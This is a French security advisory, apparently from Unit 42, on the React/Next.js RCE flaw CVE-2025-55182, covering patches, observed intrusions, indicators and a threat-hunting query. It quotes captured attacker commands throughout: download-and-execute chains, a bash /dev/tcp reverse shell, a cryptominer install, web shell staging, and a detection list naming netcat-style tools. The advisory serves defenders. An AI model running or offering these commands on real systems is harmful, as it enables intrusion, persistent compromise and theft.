Résumé exécutif
Mise à jour du 12 décembre 2025
Unit 42 a découvert KSwapDoor, une menace jusqu'alors inédite. Cette backdoor Linux a été initialement confondue avec BPFDoor.
Les principales caractéristiques incluent :
- Réseau maillé P2P : Permet un routage multi-sauts pour des communications C2 robustes
- Chiffrement fort : Utilise AES-256-CFB avec échange de clés Diffie-Hellman
- Furtivité et persistance : Imite un démon de swap du noyau Linux légitime
Accès à distance complet : Offre un shell interactif, l'exécution de commandes, des opérations sur les fichiers et le scan pour les mouvements latéraux.
Mise à jour du 9 décembre 2025
Unit 42 a identifié une activité qui présenterait des chevauchements avec les outils de la campagne Contagious Interview liée à la Corée du Nord (RPDC), bien qu'aucune attribution formelle n'ait été faite à ce jour. Contagious Interview est une campagne où des acteurs malveillants associés à la RPDC se font passer pour des recruteurs afin d'installer des logiciels malveillants sur les appareils de chercheurs d'emploi dans le secteur technologique.
L'activité observée inclut l'utilisation d'EtherRAT. L’agent de menace de la RPDC, UNC5342, utiliserait la technique EtherHiding pour la distribution de malwares et le vol de cryptomonnaies. EtherHiding tire parti de la technologie blockchain pour stocker et récupérer des charges utiles malveillantes.
De plus, nous avons observé des instances de la porte dérobée Linux KSwapDoor (précédemment identifiée comme BPFDoor dans cet article avant le 12 décembre).
Enfin, Unit 42 a détecté plusieurs instances d'une backdoor Auto-color jusqu'alors non documentée. Auto-color se fait passer pour une bibliothèque légitime Pluggable Authentication Module (PAM) (pamssod).
Plus de détails sont disponibles dans la section Portée de l'activité post-exploitation.
Mise à jour du 8 décembre 2025
Unit 42 a observé une activité post-exploitation suite à l'exploitation de la CVE-2025-55182, indiquant de multiples vecteurs d'attaque. Cette attaque comprenait une reconnaissance initiale impliquant un scan automatisé de la vulnérabilité d'exécution de code à distance (RCE) ainsi que des commandes encodées en Base64 pour :
- Identifier rapidement (fingerprinting) les systèmes compromis
- Vérifier les niveaux de privilèges
- Cartographier les interfaces réseau
- Énumérer les identifiants sensibles et les configurations DNS
- Récupérer des binaires malveillants depuis un C2 contrôlé par l'attaquant
Les attaquants ont procédé aux activités d'installation, exploitant wget et curl pour télécharger et exécuter des scripts malveillants, notamment sex.sh et un dropper Linux (x86_64) conçu pour une infection persistante. Dans un cas, nous avons identifié un reverse shell bash connecté à un probable serveur Cobalt Strike.
Par ailleurs, nous avons observé une activité cohérente avec un cluster d'activité que nous suivons sous le nom de CL-STA-1015, un courtier en accès initial (IAB) ayant des liens soupçonnés avec le ministère de la Sécurité d'État de la RPC. Cette activité impliquait l'exécution sans fichier (fileless) d'un script shell malveillant (slt) via curl ou wget, suivie de l'installation des chevaux de Troie SNOWLIGHT et VShell.
Plus de détails sont disponibles dans la section Portée de l'activité post-exploitation.
Le 3 décembre 2025, des chercheurs ont divulgué publiquement des vulnérabilités critiques d'exécution de code à distance (RCE) dans le protocole Flight utilisé par les React Server Components (RSC).
À l'origine, la faille était suivie comme deux vulnérabilités distinctes : CVE-2025-55182 (React) et CVE-2025-66478 (Next.js). Toutes deux ont reçu la note de sévérité maximale CVSS 10.0.
La CVE-2025-66478 a depuis été rejetée car considérée comme un doublon de la CVE-2025-55182.
La faille permet à des attaquants non authentifiés d'exécuter du code arbitraire sur le serveur via une désérialisation non sécurisée de requêtes HTTP malveillantes. Les tests indiquent que l'exploit a une fiabilité proche de 100 % et ne nécessite aucune modification de code pour être efficace contre les configurations par défaut. Bien qu'aucun rapport d'exploitation dans la nature n'ait été signalé au 3 décembre 2025, Unit 42 a depuis observé une activité post-exploitation, comme détaillé dans nos mises à jour.
React est massivement implémenté dans les environnements d'entreprise, utilisé par environ 40 % de tous les développeurs, tandis que Next.js est utilisé par environ 18 % à 20 %. Cela en fait le framework côté serveur dominant pour l'écosystème React.
Palo Alto Networks Cortex Xpanse a identifié la présence de plus de 968 000 instances React et Next.js dans notre télémétrie.
La CVE-2025-55182 impacte l'écosystème React 19 et les frameworks qui l'implémentent. Plus précisément, elle affecte les versions suivantes :
- React : Versions 19.0, 19.1 et 19.2
- Next.js : Versions 15.x et 16.x (App Router), ainsi que les builds Canary à partir de la version 14.3.0
- Autres frameworks : Toute bibliothèque intégrant l'implémentation react-server, y compris React Router, Waku, RedwoodSDK, Parcel et les plugins Vite RSC
Les clients de Palo Alto Networks bénéficient de protections et de mesures d'atténuation pour la CVE-2025-55182 via les moyens suivants :
- Advanced URL Filtering et Advanced DNS Security
- Next-Generation Firewall avec l'abonnement de sécurité Advanced Threat Prevention
- Les agents Cortex XDR et XSIAM aident à protéger contre les activités post-exploitation grâce à une approche de protection multicouche
- Cortex Xpanse est conçu pour identifier les appareils et applications exposés sur l'internet public et remonter ces découvertes aux défenseurs
- Cortex Cloud et Prisma Cloud disposent tous deux de capacités de détection pour les ressources cloud exposées à la vulnérabilité abordée dans ce bulletin
Palo Alto Networks recommande également de passer immédiatement aux versions durcies (hardened) suivantes :
- React : Mettre à jour vers 19.0.1, 19.1.2 ou 19.2.1
- Next.js : Mettre à jour vers les dernières versions stables corrigées, incluant 16.0.7, 15.5.7, 15.4.8, 15.3.6, 15.2.6, 15.1.9 ou 15.0.5
L'équipe de réponse aux incidents de Unit 42 peut être sollicitée pour aider en cas de compromission ou pour fournir une évaluation proactive afin de réduire vos risques.
| Vulnérabilités abordées | CVE-2025-55182, CVE-2025-66478 |
Détails de la vulnérabilité : CVE-2025-55182 (React)
La CVE-2025-55182 est classée comme critique (CVSS 10.0) et est causée par une désérialisation non sécurisée au sein de l'architecture RSC, impliquant spécifiquement le protocole Flight.
La vulnérabilité réside dans le paquet react-server et son implémentation du protocole RSC Flight. Il s'agit d'une faille logique de désérialisation là où le serveur traite les charges utiles RSC en toute sécurité.
Lorsqu'un serveur reçoit une charge utile HTTP spécialement conçue et malformée (généralement via des données transmises dans une requête POST), il ne parvient pas à valider correctement la structure des données. En raison de cette désérialisation non sécurisée, le serveur permet aux données contrôlées par l'attaquant d'influencer la logique d'exécution côté serveur.
Cela aboutit à une RCE, permettant à un attaquant d'exécuter du code JavaScript arbitraire avec privilèges sur le serveur.
Vecteur d'attaque et exploitabilité
- Complexité de l'attaque : La complexité de l'attaque est faible. Elle ne nécessite aucune interaction de l'utilisateur et aucun privilège (non authentifiée).
- Endpoints cibles : L'attaque cible les endpoints React Server Function.
- Nuance critique : Même si une application n'implémente pas ou n'utilise pas strictement les React Server Functions, elle reste vulnérable si l'application prend en charge les React Server Components de manière générale.
- Fiabilité : Les tests ont montré que l'exploit a une fiabilité proche de 100 %.
- Configuration par défaut : La vulnérabilité est présente dans les configurations par défaut. Par exemple, une application Next.js standard créée avec create-next-app et compilée pour la production est exploitable sans aucune modification de code par le développeur.
Composants spécifiques affectés
Bien que généralement décrite comme affectant React et Next.js, la vulnérabilité existe techniquement au sein de paquets sous-jacents spécifiques qui gèrent le rendu côté serveur et le chargement de modules.
Paquets affectés
La vulnérabilité est présente dans les versions 19.0.0, 19.1.0, 19.1.1 et 19.2.0 des paquets suivants :
- react-server-dom-webpack
- react-server-dom-parcel
- react-server-dom-turbopack
Implémentations de frameworks affectées
Tout framework intégrant ces paquets est affecté :
- Next.js : Versions 15.x et 16.x (App Router), ainsi que les builds Canary à partir de 14.3.0-canary.77
- Autres écosystèmes : React Router, Waku, RedwoodSDK, Parcel et le plugin Vite RSC sont tous affectés s'ils utilisent les paquets React vulnérables.
Portée de l'activité post-exploitation
Unit 42 a observé des sessions interactives liées à l'exploitation de la CVE-2025-55182, incluant :
- Scan de serveurs vulnérables à la RCE
- Reconnaissance
- Tentative de vol de fichiers de configuration et d'identifiants cloud
- Installation de downloaders pour récupérer des charges utiles depuis l'infrastructure de commande et contrôle (C2) de l'attaquant
- Tentatives d'installation de Cobalt Strike
- Scripts dropper malveillants
- Logiciels de cryptomining
- Web shells interactifs se faisant passer pour un gestionnaire de fichiers React
- Exécution et installation de NOODLERAT
- Activité de courtier en accès initial (IAB)
- Exécution d'éléments liés à SNOWLIGHT et VShell
Scan
Nous observons des scans automatisés pour la vulnérabilité RCE :
|
1 2 3 4 5 6 |
/bin/sh -c echo $((288*288)) /bin/sh -c echo $((40453*43186)) /bin/sh -c powershell -c \288*288\ /bin/sh -c $(curl -s http://help.093214[.]xyz:9731/fn32.sh | bash | gzip -n | base64 -w0),/bin/sh -c echo VULN_CHECK_SUCCESS |
La reconnaissance par l'attaquant a été observée sous la forme de l'envoi de commandes encodées en Base64 pour obtenir une connaissance situationnelle immédiate après la compromission d'un système. Les attaquants identifient rapidement le système d'exploitation et l'architecture (uname), vérifient leur niveau de privilège actuel (id) et cartographient les interfaces réseau (hostname).
La séquence se termine par l'énumération du système de fichiers à la recherche d'identifiants sensibles et l'analyse des configurations DNS (resolv.conf) pour identifier les environnements cloud ou les cibles internes pour un mouvement latéral.
Le format pour exécuter les commandes de reconnaissance est :
|
1 |
/bin/sh -c echo <base64-encoded text> | base64 -d | sh | base64 -w0 |
La commande Base64 décodée exécute les commandes de reconnaissance suivantes :
|
1 |
/bin/sh uname -a ; id ;hostname -I ; ls -la / ; ls -la ~ ;cat /etc/hosts;cat /etc/resolv.conf |
Activité d'installation de malwares
Unit 42 a observé plusieurs clusters d'activité liés au déploiement de logiciels de cryptomining, ainsi que d'autres loaders de malwares courants (commodity malware).
Dans un cas, les attaquants ont transmis une séquence d'attaque "téléchargement et exécution" utilisant wget pour récupérer un script malveillant (nommé sex.sh) depuis un serveur C2 contrôlé par l'attaquant. L'attaquant a utilisé l'opérateur && pour créer une chaîne conditionnelle, garantissant que le script malveillant ne soit passé à l'interpréteur bash pour exécution immédiate qu'après avoir été téléchargé avec succès sur le disque.
Dans un autre cas, un script automatisé a été utilisé pour effectuer du vol de données, de la vérification et l'installation de multiples downloaders de malwares, cohérent avec une activité ciblant l'Internet des objets (IoT) telle qu'un botnet Mirai.
Les commandes neutralisées (defanged) sont :
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
/bin/sh -c wget hxxp[:]//46.36.37[.]85:12000/sex.sh && bash sex.sh /bin/sh -c $(curl -s http://keep.camdvr[.]org:8000/d5.sh | bash | gzip -n | base64 -w0),/bin/sh -c echo $((41*271)),/bin/sh -c echo $((42259*42449)),/bin/sh -c wget http://superminecraft.net[.]br:3000/sex.sh && bash sex.sh,/bin/sh -c wget https://sup001.oss-cn-hongkong.aliyuncs[.]com/123/python1.sh && chmod 777 python1.sh && ./python1.sh 45.134.174[.]235/2.sh 45.134.174[.]235/solra 45.134.174.235/?h=45.134.174.235&p=80&t=tcp&a=l64&stage=true Decoded and Defanged command: /bin/sh -c (wget -qO- http://156.234.209[.]103:20912/get.sh || curl -fsSL http://156.234.209[.]103:20912/get.sh) | bash,/bin/sh -c curl -s -L https://raw.githubusercontent.com/C3Pool/xmrig_setup/master/setup_c3pool_miner .sh | bash -s <encoded Monero address>,/bin/sh -c echo $((41*271)),/bin/sh -c echo $((42636*43926)),/bin/sh -c powershell -enc IEX (New-Object System.Net.Webclient).DownloadString('http://156.234.209[.]103:63938/nrCrQ') Decoded and Defanged command: /bin/sh -c echo wget -O /tmp/test.sh http://31.57.46.28/test.sh&&sh /tmp/test.sh|base64 -d|sh,/bin/sh -c id && pwd && ls -la && ps aux | grep node (command -v curl >/dev/null 2>&1 && curl -s hxxp://47.84.57[.]207/index | bash) || (command -v wget >/dev/null 2>&1 && wget -q -O- hxxp://47.84.57[.]207/index | bash) || (command -v python3 >/dev/null 2>&1 && python3 -c "import urllib.request as u,subprocess; subprocess.Popen(['bash'], stdin=subprocess.PIPE).communicate(u.urlopen('hxxp://47.84.57.207/index').read())") || (command -v python >/dev/null 2>&1 && python -c "import urllib2 as u,subprocess; subprocess.Popen(['bash'], stdin=subprocess.PIPE).communicate(u.urlopen('hxxp://47.84.57[.]207/index').read())") |
La figure 1 illustre le déroulement de l'attaque du déploiement XMRIG tel qu'il apparaît dans Cortex XDR.

La Figure 2 est une notification d'alerte dans Cortex XDR pour l'activité XMRig.

Dans une observation, l'attaquant a installé un dropper conçu pour infecter les systèmes Linux. Le dropper utilise un bloc logique redondant pour s'assurer que la charge utile est délivrée. Il tente d'abord de récupérer le binaire via curl avec des options pour masquer la sortie et suivre les redirections, et se replie sur wget si le premier outil est manquant ou échoue.
Une fois le téléchargement réussi dans le répertoire /tmp, le script exécute une chaîne de commandes pour rendre le fichier exécutable universellement. Il lance ensuite immédiatement la charge utile, établissant l'infection sans intervention de l'utilisateur.
La commande neutralisée pour ceci est :
|
1 |
/bin/sh -c ((curl -sL hxxp[:]//45.32.158[.]54/5e51aff54626ef7f/x86_64 -o /tmp/x86_64;chmod 777 /tmp/x86_64;/tmp/x86_64) || (wget hxxp[:]//45.32.158[.]54/5e51aff54626ef7f/x86_64 -O /tmp/x86_64;chmod 777 /tmp/x86_64;/tmp/x86_64)) |
Tentatives d'exploitation du Cloud et des conteneurs
Unit 42 a également observé des tentatives d'exploitation de React2Shell sur les principales plateformes cloud. Celles-ci ciblaient des instances cloud hébergeant des conteneurs, notamment sous Kubernetes, et exécutant des applications rendues vulnérables à la CVE-2025-55182 par des composants React intégrés.
Les opérations impliquaient l'exécution en ligne de commande de wget, curl, chmod et d'autres utilitaires, soit directement, soit via le binaire BusyBox, les attaquants tentant ainsi d'installer des chargeurs (loaders) Mirai et d'autres charges utiles.
Bien que les attaquants aient tenté d'installer ces fichiers, leurs téléchargements malveillants ont été bloqués, empêchant ainsi toute exécution.
|
1 2 3 4 5 6 7 8 9 |
# Witnessed commands ## BusyBox /bin/sh -c (cd /dev;busybox wget hxxp://31.56.27[.]76/n2/x86;chmod 777 x86;./x86 reactOnMynuts;busybox wget -q hxxp://193.34.213[.]150/nuts/bolts -O-|sh) ## Meshagent Directory String wget -O /tmp/meshagent --no-check-certificate hxxps://72.62.67[.]33/meshagents?id=w%40Exooh1EQmSgfpvXk%24Kctk3F4RFhqP5EYgH2mHXjcZDuo3H61xfEs%24OKLnWsj6D&installflags=0&meshinstall=6 # Container Command Usage runc --root /var/run/docker/runtime-runc/moby --log /run/containerd/io.containerd.runtime.v2.task/moby/<IMAGE_HASH>/log.json --log-format json create --bundle /run/containerd/io.containerd.runtime.v2.task/moby/<IMAGE_HASH> --pid-file /run/containerd/io.containerd.runtime.v2.task/moby/<IMAGE HASH>/init.pid <IMAGE_HASH> |
Cobalt Strike
Unit 42 a observé un acteur menaçant exploitant un reverse shell bash pour se connecter à un serveur Cobalt Strike probable :
|
1 |
bash -c bash -i >& /dev/tcp/38.162.112[.]141/8899 0>&1 |
De plus, Unit 42 a observé une exécution à distance d'un script bash nommé check.sh depuis l'adresse 154.89.152[.]240. Comme indiqué dans la figure 3, le script est responsable du téléchargement d'un autre binaire depuis la même adresse, nommé a_x64, qui a été enregistré sous le nom rsyslo.
La charge utile semble être un agent Cobalt Strike créé à l'aide de CrossC2, un outil d'extension permettant de générer des Beacons Cobalt Strike pour les systèmes d'exploitation Linux. La Figure 3 montre le processus dans Cortex XDR.

La Figure 4 montre à quoi ressemble l'alerte pour l'activité Cobalt Strike dans Cortex XDR.

Activité Web shell
Nous avons observé l'installation d'un web shell interactif déguisé en gestionnaire de fichiers React (fm.js), récupéré directement depuis GitHub. Il permet de parcourir les répertoires pour récolter des fichiers de configuration sensibles, tels que des mots de passe de base de données et des clés API, tout en facilitant l'exfiltration de données grâce à une fonction de téléchargement intégrée pour voler du code source ou des données clients.
L'outil permet une compromission persistante en autorisant le téléchargement (upload) de backdoors ou de rootkits supplémentaires, et accorde la capacité d'infliger des dommages irréversibles par la suppression massive de fichiers et l'exécution directe de commandes système.
L'acteur a initié la séquence en terminant préventivement les processus node existants pour éliminer les conflits de port, suivi d'une validation d'exécution pour confirmer l'exécution de code arbitraire. Le script place (stage) une charge utile web shell Node.js dans le répertoire /tmp. Il utilise une adaptation réseau heuristique en modifiant itérativement la configuration pour faire défiler différents ports d'écoute, tentant ainsi de contourner les politiques de pare-feu locales.
L'attaque se conclut par l'établissement d'une persistance éphémère via nohup et le déploiement d'artefacts de vérification uniques (segawon.txt) dans des répertoires web communs, permettant la validation externe de la compromission et la cartographie de la structure de fichiers du serveur.
|
1 |
/bin/sh -c cd /tmp && nohup node fm.js > /dev/null 2>&1 & sleep 2,/bin/sh -c cd /tmp && sed -i 's/const PORT = [0-9]*/const PORT = 13373/' fm.js 2>&1,/bin/sh -c cd /tmp && sed -i 's/const PORT = [0-9]*/const PORT = 3000/' fm.js 2>&1,/bin/sh -c cd /tmp && sed -i 's/const PORT = [0-9]*/const PORT = 8080/' fm.js 2>&1,/bin/sh -c cd /tmp && sed -i 's/const PORT = [0-9]*/const PORT = 8888/' fm.js 2>&1,/bin/sh -c cd /tmp && sed -i 's/const PORT = [0-9]*/const PORT = 9000/' fm.js 2>&1,/bin/sh -c cd /tmp && wget -q -O fm.js https://raw.githubusercontent.com/laolierzi-commits/phpbd/refs/heads/main/rjs/filemanager-standalone.js 2>&1 && wc -c fm.js,/bin/sh -c echo $((41*271)),/bin/sh -c echo 'segawon.id' > /app/public/segawon.txt && chmod 644 /app/public/segawon.txt,/bin/sh -c echo 'segawon.id' > /app/web/public/segawon.txt && chmod 644 /app/web/public/segawon.txt,/bin/sh -c echo 'segawon.id' > /var/www/html/segawon.txt && chmod 644 /var/www/html/segawon.txt,/bin/sh -c id,/bin/sh -c killall -9 node 2>/dev/null,/bin/sh -c ls -la |
EtherRAT
Unit 42 a observé une activité compatible avec EtherRAT, qui effectue les opérations suivantes :
- Utilisation des contrats intelligents Ethereum pour la résolution C2
- Utilisation de plusieurs mécanismes de persistance Linux indépendants
- Téléchargement de son propre runtime Node.js à partir de nodejs.org
L’agent de menace UNC5342 de la RPDC utiliserait EtherHiding pour distribuer des malwares et faciliter le vol de cryptomonnaies.
|
1 |
/bin/sh -c echo while :; do (curl -sL http://193.24.123[.]68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh -o ./s.sh 2>/dev/null || wget -qO ./s.sh http://193.24.123[.]68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh 2>/dev/null || python3 -c "import urllib.request as u;open('./s.sh','wb').write(u.urlopen('http://193.24.123[.]68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh').read())") && [ -s ./s.sh ] && chmod +x ./s.sh && ./s.sh && break; sleep 300; done |
Noodle RAT
Unit 42 a observé le déploiement de Noodle RAT, une backdoor confirmée comme existant en versions Windows et Linux et soupçonnée d'être utilisée par des groupes sinophones engagés dans l'espionnage ou la cybercriminalité.
|
1 2 3 4 5 |
hxxp://146.88.129[.]138:5511/443nb64 tcp://vip[.]kof97.lol:443 192.238.202[.]17 |
Auto-color
Unit 42 a observé plusieurs instances d'une backdoor Auto-color jamais vue auparavant dans de multiples environnements, un malware que nous avions initialement publié en février 2025. Le nom de fichier associé à cette backdoor, pamssod, se fait passer pour la bibliothèque légitime Pluggable Authentication Module (PAM).
L'auto-coloration a été observée aux moments et endroits suivants :
- Début 2025, ciblant des universités et des organisations gouvernementales asiatiques et nord-américaines.
- Avril 2025, sur le réseau d'une entreprise chimique basée aux États-Unis.
- Août 2025, dans le cadre de l'exploitation de CVE-2025-31324.
Activité CL-STA-1015
Unit 42 a observé une activité de menace post-exploitation que nous estimons, avec un degré de confiance élevé, correspondre à un cluster d'activité que nous suivons sous le nom de CL-STA-1015. Selon le Google TAG, cet acteur de menace est considéré, avec un degré de confiance moyen, comme étant un courtier en accès initial (Initial Access Broker) parrainé par l'État chinois.
Les attaquants ont exécuté une commande pour récupérer et exécuter immédiatement une charge utile de script shell malveillant nommé slt depuis un serveur C2 distant. De manière cohérente avec l'activité vue précédemment, les attaquants ont utilisé une logique de sécurité (fail-safe) utilisant l'opérateur OR :
- Le système tente d'abord le téléchargement en utilisant curl avec des options optimisées pour la furtivité (-fsSL pour supprimer la sortie et suivre les redirections) et la résilience (-m180 pour éviter les blocages).
- Si curl est indisponible ou échoue, il se rabat automatiquement sur wget avec des paramètres similaires de silence et de délai d'attente.
- La commande se termine en redirigeant (piping) le contenu téléchargé directement dans sh, permettant une exécution sans fichier où le script malveillant s'exécute immédiatement en mémoire sans nécessairement écrire un fichier persistant sur le disque.
La commande neutralisée pour ceci est :
|
1 |
/bin/sh -c (curl -fsSL -m180 hxxp[:]//115.42.60[.]223:61236/slt||wget -T180 -q hsxp[:]//115.42.60[.]223:61236/slt)|sh |
Suite à la commande ci-dessus, nous avons observé la création réussie de deux fichiers malveillants sur le système de fichiers, cohérents avec SNOWLIGHT, et déterminé par analyse que l'échantillon VShell ci-dessous résidait également sur le même serveur :
- Script bash SNOWLIGHT : a455731133c00fdd2a141bdfba4def34ae58195126f762cdf951056b0ef161d4
- SNOWLIGHT : 2b0dc27f035ba1417990a21dafb361e083e4ed94a75a1c49dc45690ecf463de4a
- VShell : 4745703f395282a0687def2c7dcf82ed1683f3128bef1686bd74c966273ce1c5
SNOWLIGHT est un dropper de malware furtif observé dans l'activité de CL-STA-1015. Sa fonction principale est d'infiltrer un système Linux compromis, puis de télécharger et d'exécuter des malwares supplémentaires plus puissants. Plus particulièrement, il télécharge le RAT VShell. VShell est populaire parmi les cybercriminels sinophones sur plusieurs forums, et son développeur principal est également sinophone.
KSwapDoor
Après une analyse plus approfondie, Unit 42 a découvert que ce que nous avions précédemment identifié comme BPFDoor est en réalité une porte dérobée Linux inédite ciblant les serveurs, que nous nommons KSwapDoor. KSwapDoor implémente un réseau maillé P2P sophistiqué permettant un routage multi-sauts entre les nœuds infectés, utilise le chiffrement AES-256-CFB avec échange de clés Diffie-Hellman pour les communications C2, et inclut un code de renifleur de paquets passif dormant pour contourner potentiellement les pare-feu. Elle offre des capacités complètes d'accès à distance, incluant un shell interactif, l'exécution de commandes, des opérations sur les fichiers et le scan pour les déplacements latéraux.
Principales découvertes :
- Furtivité et Dissimulation : Dès son exécution, le binaire se renomme en [kswapd1], imitant un démon de swap légitime du noyau Linux. Il s'exécute totalement en démon via un double fork, créant une nouvelle session (setsid()) et redirigeant toutes les entrées/sorties standard vers /dev/null.
- Obfuscation : Presque toutes les chaînes de caractères critiques et les données de configuration sont protégées par chiffrement RC4. Le logiciel malveillant déchiffre ces chaînes à l'exécution à l'aide de fonctions de planification de clés (key scheduling) (sub_410A41 et sub_410B8D).
- Persistance et Configuration : Il stocke sa configuration dans un fichier chiffré en RC4 au sein du répertoire personnel de l'utilisateur. Lors de l'initialisation, il lit et déchiffre ce fichier pour localiser les cibles de Commande et Contrôle (C2).
- Résilience : Le logiciel malveillant crée une boucle de surveillance (watchdog) qui génère et surveille les processus enfants, les redémarrant automatiquement en cas de plantage. Il utilise également un répertoire temporaire (staging) situé à /tmp/appInsight.
Conseils provisoires
Actions requises : L'application immédiate de correctifs est la seule mesure d'atténuation définitive.
Les équipes d'ingénierie et de sécurité doivent immédiatement mettre à jour vers les versions durcies suivantes :
- React : Mettre à jour vers 19.0.1, 19.1.2 ou 19.2.1
- Next.js : Mettre à jour vers les dernières versions stables corrigées, incluant 16.0.7, 15.5.7, 15.4.8, 15.3.6, 15.2.6, 15.1.9 ou 15.0.5
Pour les dernières mises à jour sur cette vulnérabilité, veuillez consulter la documentation fournie par l'éditeur :
Requêtes de Threat Hunting gérées par Unit 42
L'équipe Unit 42 Managed Threat Hunting continue de suivre toute tentative d'exploitation de cette CVE chez nos clients, en utilisant Cortex XDR et les requêtes XQL ci-dessous. Les clients Cortex XDR peuvent également utiliser ces requêtes XQL pour rechercher des signes d'exploitation.
La requête XQL suivante a été utilisée pour identifier avec succès une activité post-compromission. Lors de l'analyse, un faible nombre de faux positifs a été identifié. Nous recommandons d'examiner les processus enfants engendrés (spawned) par le processus node. Recherchez des opérations suspectes sur les fichiers, des opérations réseau, des commandes de reconnaissance ou d'exécution de code, telles que les commandes observées ci-dessus.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
// Description: This query attempts to identify possible node processes spawning two or more post-exploitation lolbins. // Notes: This has the potential to capture false-positives, it is recommended to investigate the children processes spawned by the node process and check for suspicious file operations, network operations, reconnaissance commands or code execution. config case_sensitive = false | preset=xdr_process | filter (actor_process_image_name in ("node","node.exe", "bun", "bun.exe") and actor_process_command_line in ("*react-dom*", "*.next*", "*node_modules/next*", "*react-server*", "*next-server*", "*node server.js*", "*bin/next*", "*--experimental-https*", "*app/server*", "*.pnpm/next*", "*next start*", "*next dev*", "*react-scripts start*", "*next/dist/server*")) or (causality_actor_process_image_name in ("node","node.exe", "bun", "bun.exe") and causality_actor_process_command_line in ("*react-dom*", "*.next*", "*node_modules/next*", "*react-server*", "*next-server*", "*node server.js*", "*bin/next*", "*--experimental-https*", "*app/server*", "*.pnpm/next*", "*next start*", "*next dev*", "*react-scripts start*", "*next/dist/server*")) | filter actor_process_command_line not in ("*homebrew*", "*git config*", "*/users*", "*/usr*", "*\users*", "*gcloud config*", "*git branch*", "*git describe*") and action_process_image_command_line not in ("*homebrew*", "*git config*", "*/users*", "*/usr*", "*\users*", "*gcloud config*", "*git branch*", "*git describe*") and causality_actor_process_command_line not in ("*Microsoft VS Code*", "*iTerm2*", "*Visual Studio Code*") and action_process_image_name not in ("node", "node.exe") | alter suspicious_processes = arraycreate("id", "curl", "wget", "whoami", "arp", "at.exe", "hostname", "nbstat.exe", "netsh.exe", "netstat.exe", "nslookup", "ping.exe", "query.exe", "systeminfo.exe", "tasklist.exe", "traceroute.exe", "ipconfig.exe", "whoami.exe", "whois.exe", "quser.exe", "mshta.exe", "jscript.exe", "cscript.exe", "wscript.exe", "qwinsta.exe", "nltest.exe", "csvde.exe", "wevtutil.exe", "driverquery.exe", "nbtscan.exe", "ntdsutil.exe", "vssadmin.exe", "dsquery.exe", "adfind.exe", "klist.exe", "vssvc.exe", "nc", "ncat", "netcat", "base64", "uname", "dmidecode", "ip addr", "chmod -x", "chmod 7", "socat", "nohup", "setsid", "powershell.exe", "cmd.exe", "bash", "sh", "zsh", "mkfifo", "rundll32.exe", "java", "python", "python.exe", "php", "ifconfig", "net.exe", "net1.exe", "/dev/udp", "/dev/tcp", "adduser", "useradd", "lua", "crontab", "mknod") | alter matches = arrayfilter(suspicious_processes , action_process_image_command_line contains "@element") | comp count_distinct(action_process_image_command_line) as num_procs, values(action_process_image_command_line) as action_process_image_command_line, values(causality_actor_process_command_line) as causality_actor_process_command_line by agent_hostname, actor_process_image_name, actor_process_command_line, action_process_image_name | filter num_procs > 1 |
Conclusion
L'exploitation immédiate et massive de cette vulnérabilité met en évidence la rapidité avec laquelle les agents de menace agissent pour saisir les opportunités. Bien que nous ayons noté une activité liée à la Chine, l'empreinte de l'activité englobe également une part importante de motivations cybercriminelles.
Il est particulièrement notable que CL-STA-1015 (alias UNC5174) a un historique d'exploitation rapide des vulnérabilités N-day :
La distinction critique de cette vulnérabilité est sa nature de faille logique déterministe dans le protocole Flight, plutôt qu'une erreur probabiliste. Contrairement aux bugs de corruption de mémoire qui peuvent échouer, cette faille garantit l'exécution, la transformant en un moyen de contournement fiable à l'échelle du système pour les attaquants. Amplifiée par l'empreinte massive de Next.js dans les environnements d'entreprise, elle crée un conduit direct vers les données internes sensibles.
En fin de compte, cet incident souligne la friction inhérente entre performance et sécurité dans l'architecture moderne. Bien que les React Server Components optimisent la récupération de données et le référencement (SEO) en rapprochant la logique de la source, ils rapprochent simultanément la surface d'attaque des données les plus sensibles et précieuses des organisations.
Les clients de Palo Alto Networks sont mieux protégés par nos produits, comme indiqué ci-dessous. Nous mettrons à jour ce bulletin de menace à mesure que des informations plus pertinentes seront disponibles.
Protections des produits Palo Alto Networks pour la CVE-2025-55182
Les clients de Palo Alto Networks peuvent tirer parti d'une variété de protections produits et de mises à jour pour identifier et se défendre contre cette menace.
Si vous pensez avoir été compromis ou si vous avez une urgence, contactez l'équipe de réponse aux incidents de Unit 42 ou appelez :
- Amérique du Nord (numéro gratuit) : +1 (866) 486-4842 (866.4.UNIT42)
- Royaume-Uni : +44.20.3743.3660
- Europe et Moyen-Orient : +31.20.299.3130
- Asie : +65.6983.8730
- Japon : +81.50.1790.0200
- Australie : +61.2.4062.7950
- Inde : 000 800 050 45107
- Corée du Sud : +82.080.467.8774
Pare-feu de Nouvelle Génération avec Advanced Threat Prevention
Le Next-Generation Firewall avec l'abonnement de sécurité Advanced Threat Prevention peut aider à bloquer les attaques via les signatures Threat Prevention suivantes : 96779 et 96780.
Services de sécurité fournis par le cloud pour le Pare-feu de Nouvelle Génération
Advanced URL Filtering et Advanced DNS Security identifient les domaines et URL connus associés à cette activité comme malveillants.
Cortex XDR et XSIAM
Les agents Cortex XDR et XSIAM aident à protéger contre les activités post-exploitation grâce à une approche de protection multicouche.
Cortex a publié un pack de réponse et un playbook pour CVE-2025-55182 (React) et CVE-2025-66478 (Next.js) afin d'aider à automatiser et accélérer le processus d'atténuation.
Ce playbook automatise les tâches suivantes :
- Collecte des indicateurs de l'article de Unit 42
- Détection de toute ligne de commande suspecte indicative de l'exploitation de ces vulnérabilités via une requête XQL
- Investigation des lignes de commande pour identifier les indicateurs malveillants liés aux vulnérabilités
- Chasse (hunting) aux indicateurs malveillants via une requête XQL
- Isolation des serveurs React et Next.js compromis (nécessite l'approbation d'un analyste)
- Blocage des indicateurs malveillants
- Fourniture de recommandations d'atténuation
Cortex Xpanse
Cortex Xpanse est conçu pour identifier les appareils et applications exposés sur l'internet public et remonter ces découvertes aux défenseurs. Les clients peuvent activer les alertes sur les actifs potentiellement à risque en s'assurant que la règle de surface d'attaque "Vercel Next.js" est activée.
De plus, Xpanse a publié un test de surface d'attaque pour la CVE-2025-55182. Ce dernier valide la vulnérabilité via une vérification directe de RCE, en tentant d'exécuter une charge utile de commande bénigne compatible avec les systèmes Linux et Windows.
